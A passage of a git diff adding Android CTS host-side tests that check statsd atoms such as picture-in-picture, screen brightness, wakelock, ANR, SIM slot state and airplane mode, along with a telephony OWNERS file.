+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH) ||
+                !DeviceUtils.hasFeature(getDevice(), FEATURE_PICTURE_IN_PICTURE) ||
+                !supported.contains("true")) {
+            LogUtil.CLog.d("Skipping picture in picture atom test.");
+            return;
+        }
+
+        StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        FieldValueMatcher.Builder uidFvm = ConfigUtils.createUidFvm(/*uidInAttributionChain=*/false,
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+
+        // PictureInPictureStateChanged atom is used prior to rvc-qpr
+        ConfigUtils.addEventMetric(config, Atom.PICTURE_IN_PICTURE_STATE_CHANGED_FIELD_NUMBER,
+                Collections.singletonList(uidFvm));
+        // Picture-in-picture logs' been migrated to UiEvent since rvc-qpr
+        FieldValueMatcher.Builder pkgMatcher = ConfigUtils.createFvm(
+                UiEventReported.PACKAGE_NAME_FIELD_NUMBER)
+                .setEqString(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        ConfigUtils.addEventMetric(config, Atom.UI_EVENT_REPORTED_FIELD_NUMBER,
+                Arrays.asList(pkgMatcher));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        LogUtil.CLog.d("Playing video in Picture-in-Picture mode");
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "VideoPlayerActivity", "action", "action.play_video_picture_in_picture_mode");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Filter out the PictureInPictureStateChanged and UiEventReported atom
+        List<EventMetricData> pictureInPictureStateChangedData = data.stream()
+                .filter(e -> e.getAtom().hasPictureInPictureStateChanged())
+                .collect(Collectors.toList());
+        List<EventMetricData> uiEventReportedData = data.stream()
+                .filter(e -> e.getAtom().hasUiEventReported())
+                .collect(Collectors.toList());
+
+        assertThat(pictureInPictureStateChangedData).isEmpty();
+        assertThat(uiEventReportedData).isNotEmpty();
+
+        // See PipUiEventEnum for definitions
+        final int enterPipEventId = 603;
+        // Assert that log for entering PiP happens exactly once, we do not use
+        // assertStateOccurred here since PiP may log something else when activity finishes.
+        List<EventMetricData> entered = uiEventReportedData.stream()
+                .filter(e -> e.getAtom().getUiEventReported().getEventId() == enterPipEventId)
+                .collect(Collectors.toList());
+        assertThat(entered).hasSize(1);
+    }
+
+    //Note: this test does not have uid, but must run on the device
+    public void testScreenBrightness() throws Exception {
+        int initialBrightness = getScreenBrightness();
+        boolean isInitialManual = isScreenBrightnessModeManual();
+        setScreenBrightnessMode(true);
+        setScreenBrightness(200);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
+        Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
+        Set<Integer> screen200 = new HashSet<>(Arrays.asList(198));
+        // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen200);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Restore initial screen brightness
+        setScreenBrightness(initialBrightness);
+        setScreenBrightnessMode(isInitialManual);
+
+        AtomTestUtils.popUntilFind(data, screenMin,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+        AtomTestUtils.popUntilFindFromEnd(data, screen200,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getScreenBrightnessChanged().getLevel());
+    }
+
+    public void testSyncState() throws Exception {
+        final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
+        Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(syncOn, syncOff, syncOn, syncOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.allowImmediateSyncs(getDevice());
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSyncState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data,
+                /* wait = */ 0 /* don't verify time differences between state changes */,
+                atom -> atom.getSyncStateChanged().getState().getNumber());
+    }
+
+    public void testVibratorState() throws Exception {
+        if (!DeviceUtils.checkDeviceFor(getDevice(), "checkVibratorSupported")) return;
+
+        final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testVibratorState";
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(VibratorStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(VibratorStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 300,
+                atom -> atom.getVibratorStateChanged().getState().getNumber());
+    }
+
+    public void testWakelockState() throws Exception {
+        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
+                WakelockStateChanged.State.ACQUIRE_VALUE,
+                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
+        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
+                WakelockStateChanged.State.RELEASE_VALUE,
+                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
+
+        final String EXPECTED_TAG = "StatsdPartialWakelock";
+        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWakelockState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWakelockStateChanged().getState().getNumber());
+
+        for (EventMetricData event : data) {
+            String tag = event.getAtom().getWakelockStateChanged().getTag();
+            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+            assertThat(type).isEqualTo(EXPECTED_LEVEL);
+        }
+    }
+
+    public void testANROccurred() throws Exception {
+        final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "ANRActivity", null, null)) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG * 2);
+            getDevice().executeShellCommand(
+                    "am broadcast -a action_anr -p " + DeviceUtils.STATSD_ATOM_TEST_PKG);
+            Thread.sleep(20_000);
+        }
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
+        ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        // TODO(b/172866626): add tests for incremental packages that ANR'd during loading
+        assertFalse(atom.getIsPackageLoading());
+    }
+
+    public void testWriteRawTestAtom() throws Exception {
+        final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWriteRawTestAtom");
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(4);
+
+        TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
+        List<AttributionNode> attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
+
+        assertThat(atom.getIntField()).isEqualTo(42);
+        assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(3.14f);
+        assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
+        assertThat(atom.getBooleanField()).isFalse();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+
+        atom = data.get(1).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(1).getTag()).isEmpty();
+
+        assertThat(atom.getIntField()).isEqualTo(100);
+        assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(-2.5f);
+        assertThat(atom.getStringField()).isEqualTo("Test null uid");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+        atom = data.get(2).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+
+        assertThat(atom.getIntField()).isEqualTo(-256);
+        assertThat(atom.getLongField()).isEqualTo(-1234567890L);
+        assertThat(atom.getFloatField()).isEqualTo(42.01f);
+        assertThat(atom.getStringField()).isEqualTo("Test non chained");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+                .containsExactly(1L, 2L, 3L).inOrder();
+
+        atom = data.get(3).getAtom().getTestAtomReported();
+        attrChain = atom.getAttributionNodeList();
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(
+                DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(attrChain.get(0).getTag()).isEmpty();
+
+        assertThat(atom.getIntField()).isEqualTo(0);
+        assertThat(atom.getLongField()).isEqualTo(0L);
+        assertThat(atom.getFloatField()).isEqualTo(0f);
+        assertThat(atom.getStringField()).isEmpty();
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
+    }
+
+    public void testAppForegroundBackground() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+        Set<Integer> offStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, /*useUidAttributionChain=*/false);
+
+        // Overlay may need to sit there a while.
+        final int waitTime = 10_500;
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", ACTION_SHOW_APPLICATION_OVERLAY, waitTime);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        // clear out initial appusage states
+        AtomTestUtils.popUntilFind(data, onStates, appUsageStateFunction);
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+    }
+/*
+    public void testAppForceStopUsageEvent() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+        Set<Integer> offStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
+        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
+
+        getDevice().executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+                "action", ACTION_LONG_SLEEP_WHILE_TOP));
+        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000;
+        Thread.sleep(waitTime);
+
+        getDevice().executeShellCommand(String.format(
+                "am force-stop %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity"));
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = getEventMetricDataList();
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
+        assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+    }
+*/
+
+    private int getScreenBrightness() throws Exception {
+        return Integer.parseInt(
+                getDevice().executeShellCommand("settings get system screen_brightness").trim());
+    }
+
+    private boolean isScreenBrightnessModeManual() throws Exception {
+        String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
+        return Integer.parseInt(mode.trim()) == 0;
+    }
+
+    private void setScreenBrightnessMode(boolean manual) throws Exception {
+        getDevice().executeShellCommand(
+                "settings put system screen_brightness_mode " + (manual ? 0 : 1));
+    }
+
+    private void setScreenBrightness(int brightness) throws Exception {
+        getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS
new file mode 100644
index 0000000..89cfb89
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the telephony team
+# Bug component: 5683656
+include ../../../../../../../tests/tests/telephony/OWNERS
+czhangsd@google.com
+mberionne@google.com
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
new file mode 100644
index 0000000..8d18f0e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.telephony;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.telephony.NetworkTypeEnum;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class TelephonyStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+    // Bitmask of radio access technologies that all GSM phones should at least partially support
+    protected static final long NETWORK_TYPE_BITMASK_GSM_ALL =
+            (1 << (NetworkTypeEnum.NETWORK_TYPE_GSM_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_GPRS_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EDGE_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_UMTS_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSDPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSUPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPAP_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_TD_SCDMA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_CA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_NR_VALUE - 1));
+    // Bitmask of radio access technologies that all CDMA phones should at least partially support
+    protected static final long NETWORK_TYPE_BITMASK_CDMA_ALL =
+            (1 << (NetworkTypeEnum.NETWORK_TYPE_CDMA_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_1XRTT_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_0_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_A_VALUE - 1))
+                    | (1 << (NetworkTypeEnum.NETWORK_TYPE_EHRPD_VALUE - 1));
+
+    // Telephony phone types
+    private static final int PHONE_TYPE_GSM = 1;
+    private static final int PHONE_TYPE_CDMA = 2;
+    private static final int PHONE_TYPE_CDMA_LTE = 6;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSimSlotState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SIM_SLOT_STATE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.SimSlotState atom = data.get(0).getSimSlotState();
+        // NOTE: it is possible for devices with telephony support to have no SIM at all
+        assertThat(atom.getActiveSlotCount()).isEqualTo(getActiveSimSlotCount());
+        assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
+        assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
+        // Above assertions do no necessarily enforce the following, since some are upper bounds
+        assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+        assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
+        assertThat(atom.getEsimCount()).isAtLeast(0);
+        // For GSM phones, at least one slot should be active even if there is no card
+        if (hasGsmPhone()) {
+            assertThat(atom.getActiveSlotCount()).isAtLeast(1);
+        }
+    }
+
+    public void testSupportedRadioAccessFamily() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SUPPORTED_RADIO_ACCESS_FAMILY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.SupportedRadioAccessFamily atom = data.get(0).getSupportedRadioAccessFamily();
+        if (hasGsmPhone()) {
+            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_GSM_ALL)
+                    .isNotEqualTo(0L);
+        }
+        if (hasCdmaPhone()) {
+            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_CDMA_ALL)
+                    .isNotEqualTo(0L);
+        }
+    }
+
+    public void testCarrierIdTableVersion() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        int expectedVersion = getCarrierIdTableVersion();
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CARRIER_ID_TABLE_VERSION_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.CarrierIdTableVersion atom = data.get(0).getCarrierIdTableVersion();
+        assertThat(atom.getTableVersion()).isEqualTo(expectedVersion);
+    }
+
+    public void testAirplaneModeEvent_shortToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for airplane mode events to propagate, but less than threshold for
+        // long toggle.
+        Thread.sleep(1_200);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isTrue();
+    }
+
+    public void testAirplaneModeEvent_longToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for long airplane mode toggle (10 seconds).
+        Thread.sleep(12_000);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isFalse();
+    }
+
+    public void testModemRestart() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.MODEM_RESTART_FIELD_NUMBER);
+
+        // Restart modem. If the command fails, exit the test case.
+        boolean restart = restartModem();
+        if (!restart) {
+            return;
+        }
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Verify that we have at least one atom for modem restart
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).isNotEmpty();
+    }
+
+    private boolean hasGsmPhone() throws Exception {
+        // Not using log entries or ServiceState in the dump since they may or may not be present,
+        // which can make the test flaky
+        return getTelephonyDumpEntries("Phone").stream()
+                .anyMatch(phone ->
+                        String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
+    }
+
+    private boolean hasCdmaPhone() throws Exception {
+        // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
+        return getTelephonyDumpEntries("Phone").stream()
+                .anyMatch(phone ->
+                        String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
+                                || String.format("%d", PHONE_TYPE_CDMA_LTE)
+                                .equals(phone.get("getPhoneType()")));
+    }
+
+    private int getActiveSimSlotCount() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
+        return Math.toIntExact(count);
+    }
+
+    /**
+     * Returns the upper bound of active SIM profile count.
+     *
+     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
+     */
+    private int getActiveSimCountUpperBound() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot ->
